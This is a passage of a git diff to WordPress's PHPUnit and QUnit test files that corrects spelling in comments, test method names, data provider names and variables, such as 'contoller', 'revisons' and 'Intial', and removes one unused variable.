); } } diff --git a/tests/phpunit/tests/post/wpAfterInsertPost.php b/tests/phpunit/tests/post/wpAfterInsertPost.php index f184c66e01288..621b93151e9c1 100644 --- a/tests/phpunit/tests/post/wpAfterInsertPost.php +++ b/tests/phpunit/tests/post/wpAfterInsertPost.php @@ -166,7 +166,7 @@ public function test_new_post_via_wp_insert_post() { * * @ticket 45114 */ - public function test_update_via_rest_contoller() { + public function test_update_via_rest_controller() { wp_set_current_user( self::$admin_id ); $post_id = self::$post_id; @@ -184,7 +184,7 @@ public function test_update_via_rest_contoller() { * * @ticket 45114 */ - public function test_new_post_via_rest_contoller() { + public function test_new_post_via_rest_controller() { wp_set_current_user( self::$admin_id ); $request = new WP_REST_Request( 'POST', sprintf( '/wp/v2/posts' ) ); @@ -206,7 +206,7 @@ public function test_new_post_via_rest_contoller() { * * @ticket 45114 */ - public function test_update_attachment_via_rest_contoller() { + public function test_update_attachment_via_rest_controller() { wp_set_current_user( self::$admin_id ); $attachment_id = self::$attachment_id; diff --git a/tests/phpunit/tests/privacy/wpPrivacyGeneratePersonalDataExportFile.php b/tests/phpunit/tests/privacy/wpPrivacyGeneratePersonalDataExportFile.php index 840f756344f14..2957771321921 100644 --- a/tests/phpunit/tests/privacy/wpPrivacyGeneratePersonalDataExportFile.php +++ b/tests/phpunit/tests/privacy/wpPrivacyGeneratePersonalDataExportFile.php @@ -61,7 +61,7 @@ public static function wpSetUpBeforeClass( WP_UnitTest_Factory $factory ) { /** * Set up the test fixture. * - * Override `wp_die()`, pretend to be Ajax, and suppress `E_WARNING`s. + * Override `wp_die()`, pretend to be Ajax, and suppress warnings. * * @since 5.2.0 */ diff --git a/tests/phpunit/tests/query/invalidQueries.php b/tests/phpunit/tests/query/invalidQueries.php index 0cec94224567d..cd0b87e9960f2 100644 --- a/tests/phpunit/tests/query/invalidQueries.php +++ b/tests/phpunit/tests/query/invalidQueries.php @@ -98,7 +98,7 @@ public function test_unregistered_post_type_wp_query() { } /** - * Test WP Query with an invalid post type in a mutiple post type query. + * Test WP Query with an invalid post type in a multiple post type query. * * @ticket 48556 */ diff --git a/tests/phpunit/tests/query/search.php b/tests/phpunit/tests/query/search.php index 33b342655a167..7bfbdec31c87d 100644 --- a/tests/phpunit/tests/query/search.php +++ b/tests/phpunit/tests/query/search.php @@ -280,7 +280,7 @@ public function test_s_zero() { 'post_status' => 'publish', 'post_title' => '0', 'post_content' => 'this post contains zeroes', - 'post_excerpt' => 'this post containts zeroes', + 'post_excerpt' => 'this post contains zeroes', ) ); @@ -408,7 +408,7 @@ public function test_search_order_title_before_excerpt_and_content() { } /** - * Unfiltered search queries for attachment post types should not inlcude + * Unfiltered search queries for attachment post types should not include * filenames to ensure the postmeta JOINs don't happen on the front end. * * @ticket 22744 diff --git a/tests/phpunit/tests/rest-api/rest-application-passwords-controller.php b/tests/phpunit/tests/rest-api/rest-application-passwords-controller.php index 96d1b193bbb73..7a06bb006dffe 100644 --- a/tests/phpunit/tests/rest-api/rest-application-passwords-controller.php +++ b/tests/phpunit/tests/rest-api/rest-application-passwords-controller.php @@ -848,7 +848,7 @@ public function test_prepare_item() { } /** - * Checks the password response matches the exepcted format. + * Checks the password response matches the expected format. * * @since 5.6.0 * diff --git a/tests/phpunit/tests/rest-api/rest-global-styles-revisions-controller.php b/tests/phpunit/tests/rest-api/rest-global-styles-revisions-controller.php index 3773b5fd1f9e4..da4daf6028210 100644 --- a/tests/phpunit/tests/rest-api/rest-global-styles-revisions-controller.php +++ b/tests/phpunit/tests/rest-api/rest-global-styles-revisions-controller.php @@ -590,13 +590,13 @@ public function test_get_items_invalid_max_pages_should_error() { /** * Tests that the default query should fetch all revisions. * - * Duplicate of WP_Test_REST_Revisions_Controller::test_get_items_default_query_should_fetch_all_revisons + * Duplicate of WP_Test_REST_Revisions_Controller::test_get_items_default_query_should_fetch_all_revisions * * @ticket 58524 * * @covers WP_REST_Global_Styles_Controller::get_items */ - public function test_get_items_default_query_should_fetch_all_revisons() { + public function test_get_items_default_query_should_fetch_all_revisions() { wp_set_current_user( self::$admin_id ); $expected_count = $this->total_revisions; diff --git a/tests/phpunit/tests/rest-api/rest-revisions-controller.php b/tests/phpunit/tests/rest-api/rest-revisions-controller.php index 08138055062f3..d2650d31fa852 100644 --- a/tests/phpunit/tests/rest-api/rest-revisions-controller.php +++ b/tests/phpunit/tests/rest-api/rest-revisions-controller.php @@ -668,7 +668,7 @@ public function test_get_items_search_query() { * * @ticket 40510 */ - public function test_get_items_default_query_should_fetch_all_revisons() { + public function test_get_items_default_query_should_fetch_all_revisions() { wp_set_current_user( self::$editor_id ); $expected_count = $this->total_revisions; diff --git a/tests/phpunit/tests/rest-api/rest-server.php b/tests/phpunit/tests/rest-api/rest-server.php index 8d05192bc1fd9..7bcc6d68e7497 100644 --- a/tests/phpunit/tests/rest-api/rest-server.php +++ b/tests/phpunit/tests/rest-api/rest-server.php @@ -2002,9 +2002,9 @@ public function test_filters_are_executed_if_request_validation_fails() { /** * @ticket 50244 - * @dataProvider data_batch_v1_optin + * @dataProvider data_batch_v1_opt_in */ - public function test_batch_v1_optin( $allow_batch, $allowed ) { + public function test_batch_v1_opt_in( $allow_batch, $allowed ) { $args = array( 'methods' => 'POST', 'callback' => static function () { @@ -2045,7 +2045,7 @@ public function test_batch_v1_optin( $allow_batch, $allowed ) { } } - public function data_batch_v1_optin() { + public function data_batch_v1_opt_in() { return array( 'missing' => array( null, false ), 'invalid type' => array( true, false ), diff --git a/tests/phpunit/tests/rest-api/rest-themes-controller.php b/tests/phpunit/tests/rest-api/rest-themes-controller.php index 7a5438951cd4d..decf4be322fa8 100644 --- a/tests/phpunit/tests/rest-api/rest-themes-controller.php +++ b/tests/phpunit/tests/rest-api/rest-themes-controller.php @@ -934,7 +934,7 @@ public function test_theme_no_wp_block_styles() { /** * @ticket 49037 */ - public function test_theme_wp_block_styles_optin() { + public function test_theme_wp_block_styles_opt_in() { remove_theme_support( 'wp-block-styles' ); add_theme_support( 'wp-block-styles' ); $response = self::perform_active_theme_request(); @@ -958,7 +958,7 @@ public function test_theme_no_align_wide() { /** * @ticket 49037 */ - public function test_theme_align_wide_optin() { + public function test_theme_align_wide_opt_in() { remove_theme_support( 'align-wide' ); add_theme_support( 'align-wide' ); $response = self::perform_active_theme_request(); @@ -982,7 +982,7 @@ public function test_theme_no_editor_styles() { /** * @ticket 49037 */ - public function test_theme_editor_styles_optin() { + public function test_theme_editor_styles_opt_in() { remove_theme_support( 'editor-styles' ); add_theme_support( 'editor-styles' ); $response = self::perform_active_theme_request(); @@ -1006,7 +1006,7 @@ public function test_theme_no_dark_editor_style() { /** * @ticket 49037 */ - public function test_theme_dark_editor_style_optin() { + public function test_theme_dark_editor_style_opt_in() { remove_theme_support( 'dark-editor-style' ); add_theme_support( 'dark-editor-style' ); $response = self::perform_active_theme_request(); diff --git a/tests/phpunit/tests/script-modules/wpScriptModules.php b/tests/phpunit/tests/script-modules/wpScriptModules.php index d8562b1c5e222..21a98ac5ba518 100644 --- a/tests/phpunit/tests/script-modules/wpScriptModules.php +++ b/tests/phpunit/tests/script-modules/wpScriptModules.php @@ -415,7 +415,7 @@ public function test_wp_enqueue_preloaded_static_dependencies() { } /** - * Tests that static dependencies of dynamic depenendencies are not preloaded. + * Tests that static dependencies of dynamic dependencies are not preloaded. * * @ticket 56313 * diff --git a/tests/phpunit/tests/sitemaps/sitemaps.php b/tests/phpunit/tests/sitemaps/sitemaps.php index 349bdd961c621..85f9965245842 100644 --- a/tests/phpunit/tests/sitemaps/sitemaps.php +++ b/tests/phpunit/tests/sitemaps/sitemaps.php @@ -95,7 +95,7 @@ public static function wpSetUpBeforeClass( WP_UnitTest_Factory $factory ) { /** * Helper function to get all sitemap entries data. * - * @return array A list of sitemap entires. + * @return array A list of sitemap entries. */ public function _get_sitemap_entries() { $entries = array(); diff --git a/tests/phpunit/tests/term/cache.php b/tests/phpunit/tests/term/cache.php index ac418fbcfd5c0..0651551f941e9 100644 --- a/tests/phpunit/tests/term/cache.php +++ b/tests/phpunit/tests/term/cache.php @@ -55,7 +55,7 @@ public function test_category_name_change() { /** * @ticket 14485 */ - public function test_hierachy_invalidation() { + public function test_hierarchy_invalidation() { $tax = 'burrito'; register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) ); $this->assertTrue( get_taxonomy( $tax )->hierarchical ); diff --git a/tests/phpunit/tests/theme.php b/tests/phpunit/tests/theme.php index d2539db5cd872..9e26ed5c2c681 100644 --- a/tests/phpunit/tests/theme.php +++ b/tests/phpunit/tests/theme.php @@ -322,7 +322,7 @@ public function test_switch_theme() { } // Template file that doesn't exist. - $this->assertSame( '', get_query_template( 'nonexistant' ) ); + $this->assertSame( '', get_query_template( 'nonexistent' ) ); // Template files that do exist. foreach ( $theme['Template Files'] as $path ) { diff --git a/tests/phpunit/tests/theme/wpThemeJson.php b/tests/phpunit/tests/theme/wpThemeJson.php index 15a25825e1af7..a72ccbc5dd8ef 100644 --- a/tests/phpunit/tests/theme/wpThemeJson.php +++ b/tests/phpunit/tests/theme/wpThemeJson.php @@ -4754,7 +4754,7 @@ public function data_set_spacing_sizes_when_invalid() { } /** - * Tests the core separator block outbut based on various provided settings. + * Tests the core separator block output based on various provided settings. * * @ticket 56903 * @ticket 58550 diff --git a/tests/phpunit/tests/user.php b/tests/phpunit/tests/user.php index 9a3f0084b806a..804511990f4ef 100644 --- a/tests/phpunit/tests/user.php +++ b/tests/phpunit/tests/user.php @@ -1491,7 +1491,7 @@ public function test_new_admin_email_notification_html_entities_decoded() { // Assert recipient is correct. $this->assertSame( $new_email, $recipient->address, 'Admin email change notification recipient not as expected' ); - // Assert that HTML entites have been decode in body and subject. + // Assert that HTML entities have been decode in body and subject. $this->assertStringContainsString( '\'Test\' blog\'s "name" has &', $email->subject, 'Email subject does not contain the decoded HTML entities' ); $this->assertStringNotContainsString( ''Test' blog's "name" has <html entities> &', $email->subject, $email->subject, 'Email subject does contains HTML entities' ); } @@ -1794,7 +1794,7 @@ public function test_send_confirmation_on_profile_email_html_entities_decoded() // Assert recipient is correct. $this->assertSame( 'new-email@test.dev', $recipient->address, 'User email change confirmation recipient not as expected' ); - // Assert that HTML entites have been decoded in body and subject. + // Assert that HTML entities have been decoded in body and subject. $this->assertStringContainsString( '\'Test\' blog\'s "name" has &', $email->subject, 'Email subject does not contain the decoded HTML entities' ); $this->assertStringNotContainsString( ''Test' blog's "name" has <html entities> &', $email->subject, 'Email subject does contains HTML entities' ); } diff --git a/tests/phpunit/tests/user/capabilities.php b/tests/phpunit/tests/user/capabilities.php index 27bd085aff605..05721ce3f1852 100644 --- a/tests/phpunit/tests/user/capabilities.php +++ b/tests/phpunit/tests/user/capabilities.php @@ -992,7 +992,7 @@ public function test_add_role() { } /** - * Change the capabilites associated with a role and make sure the change + * Change the capabilities associated with a role and make sure the change * is reflected in has_cap(). */ public function test_role_add_cap() { @@ -1033,7 +1033,7 @@ public function test_role_add_cap() { } /** - * Change the capabilites associated with a role and make sure the change + * Change the capabilities associated with a role and make sure the change * is reflected in has_cap(). */ public function test_role_remove_cap() { diff --git a/tests/phpunit/tests/user/mapMetaCap.php b/tests/phpunit/tests/user/mapMetaCap.php index f8929f0d88d82..b6c6b0ab8a151 100644 --- a/tests/phpunit/tests/user/mapMetaCap.php +++ b/tests/phpunit/tests/user/mapMetaCap.php @@ -357,7 +357,7 @@ public function test_file_edit_caps_not_reliant_on_unfiltered_html_constant() { * * @ticket 27020 */ - public function test_authorless_posts_capabilties() { + public function test_authorless_posts_capabilities() { $post_id = self::factory()->post->create( array( 'post_author' => 0, diff --git a/tests/phpunit/tests/user/wpGetUsersWithNoRole.php b/tests/phpunit/tests/user/wpGetUsersWithNoRole.php index affe25e72f6b2..7616bbd949cd5 100644 --- a/tests/phpunit/tests/user/wpGetUsersWithNoRole.php +++ b/tests/phpunit/tests/user/wpGetUsersWithNoRole.php @@ -111,10 +111,10 @@ public function test_get_users_with_no_role_multisite_is_accurate() { */ public function test_get_users_with_no_role_matches_on_role_name() { // Create a role with a display name which would not match the role name - // in a case-insentive SQL query. + // in a case-insensitive SQL query. wp_roles()->add_role( 'somerole', 'Some role display name' ); - $someuser = self::factory()->user->create( + self::factory()->user->create( array( 'role' => 'somerole', ) diff --git a/tests/phpunit/tests/widgets/wpWidgetMediaImage.php b/tests/phpunit/tests/widgets/wpWidgetMediaImage.php index 3f96cf34ebb82..79dcd921da875 100644 --- a/tests/phpunit/tests/widgets/wpWidgetMediaImage.php +++ b/tests/phpunit/tests/widgets/wpWidgetMediaImage.php @@ -478,7 +478,7 @@ public function test_render_media() { $this->assertStringContainsString( 'width="100"', $output ); $this->assertStringContainsString( 'height="100"', $output ); - // Embeded images. + // Embedded images. ob_start(); $widget->render_media( array( diff --git a/tests/phpunit/tests/xmlrpc/wp/newComment.php b/tests/phpunit/tests/xmlrpc/wp/newComment.php index 7c2eacc6b1f5c..00b0617f53839 100644 --- a/tests/phpunit/tests/xmlrpc/wp/newComment.php +++ b/tests/phpunit/tests/xmlrpc/wp/newComment.php @@ -270,7 +270,7 @@ public function test_username_avoids_anon_flow() { * * @param string $post_key Post identifier from the self::$posts array. * @param string $username Username leaving comment. - * @param bool $expected Expected result. True: successfull comment. False: Refused comment. + * @param bool $expected Expected result. True: successful comment. False: Refused comment. * @param string $anon_callback Optional. Allow anonymous comment callback. Default __return_false. */ public function test_comments_observe_post_permissions( $post_key, $username, $expected, $anon_callback = '__return_false' ) { @@ -304,7 +304,7 @@ public function test_comments_observe_post_permissions( $post_key, $username, $e * @return array[] { * @type string Post identifier from the self::$posts array. * @type string Username leaving comment. - * @type bool Expected result. True: successfull comment. False: Refused comment. + * @type bool Expected result. True: successful comment. False: Refused comment. * @type string Optional. Allow anonymous comment callback. Default __return_false. * } */ diff --git a/tests/phpunit/tests/xmlrpc/wp/newPost.php b/tests/phpunit/tests/xmlrpc/wp/newPost.php index 91e256ff5c4a5..b98b06c01d55b 100644 --- a/tests/phpunit/tests/xmlrpc/wp/newPost.php +++ b/tests/phpunit/tests/xmlrpc/wp/newPost.php @@ -247,7 +247,7 @@ public function test_invalid_taxonomy() { $post = array( 'post_title' => 'Test', 'terms' => array( - 'foobar_nonexistant' => array( 1 ), + 'foobar_nonexistent' => array( 1 ), ), ); $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) ); @@ -257,7 +257,7 @@ public function test_invalid_taxonomy() { $post2 = array( 'post_title' => 'Test', 'terms_names' => array( - 'foobar_nonexistant' => array( 1 ), + 'foobar_nonexistent' => array( 1 ), ), ); $result2 = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post2 ) ); diff --git a/tests/qunit/wp-admin/js/customize-controls.js b/tests/qunit/wp-admin/js/customize-controls.js index 6c4a8a83af5c9..864d84022b5cc 100644 --- a/tests/qunit/wp-admin/js/customize-controls.js +++ b/tests/qunit/wp-admin/js/customize-controls.js @@ -679,17 +679,17 @@ jQuery( 'body' ).on( 'load', function() { QUnit.module( 'Customize Utils: wp.customize.utils.getRemainingTime()' ); QUnit.test( 'utils.getRemainingTime calculates time correctly', function( assert ) { - var datetime = '2599-08-06 12:12:13', timeRemaining, timeRemainingWithDateInstance, timeRemaingingWithTimestamp; + var datetime = '2599-08-06 12:12:13', timeRemaining, timeRemainingWithDateInstance, timeRemainingWithTimestamp; timeRemaining = wp.customize.utils.getRemainingTime( datetime ); timeRemainingWithDateInstance = wp.customize.utils.getRemainingTime( new Date( datetime.replace( /-/g, '/' ) ) ); - timeRemaingingWithTimestamp = wp.customize.utils.getRemainingTime( ( new Date( datetime.replace( /-/g, '/' ) ) ).getTime() ); + timeRemainingWithTimestamp = wp.customize.utils.getRemainingTime( ( new Date( datetime.replace( /-/g, '/' ) ) ).getTime() ); assert.equal( typeof timeRemaining, 'number', timeRemaining ); assert.equal( typeof timeRemainingWithDateInstance, 'number', timeRemaining ); - assert.equal( typeof timeRemaingingWithTimestamp, 'number', timeRemaining ); + assert.equal( typeof timeRemainingWithTimestamp, 'number', timeRemaining ); assert.deepEqual( timeRemaining, timeRemainingWithDateInstance ); - assert.deepEqual( timeRemaining, timeRemaingingWithTimestamp ); + assert.deepEqual( timeRemaining, timeRemainingWithTimestamp ); }); QUnit.module( 'Customize Utils: wp.customize.utils.getCurrentTimestamp()' ); diff --git a/tests/qunit/wp-admin/js/updates.js b/tests/qunit/wp-admin/js/updates.js index dc718291a569f..9d3948811abfd 100644 --- a/tests/qunit/wp-admin/js/updates.js +++ b/tests/qunit/wp-admin/js/updates.js @@ -15,9 +15,9 @@ jQuery( function( $ ) { var menuItemCount = $( '#menu-plugins' ).find( '.plugin-count' ).eq( 0 ).text(); var screenReaderItemCount = $( '#wp-admin-bar-updates' ).find( '.screen-reader-text' ).text(); var adminItemCount = $( '#wp-admin-bar-updates' ).find( '.ab-label' ).text(); - assert.equal( menuItemCount, 2, 'Intial value is correct' ); - assert.equal( screenReaderItemCount, '2 Plugin Updates', 'Intial value is correct' ); - assert.equal( adminItemCount, 2, 'Intial value is correct' ); + assert.equal( menuItemCount, 2, 'Initial value is correct' ); + assert.equal( screenReaderItemCount, '2 Plugin Updates', 'Initial value is correct' ); + assert.equal( adminItemCount, 2, 'Initial value is correct' ); wp.updates.decrementCount( 'plugin' );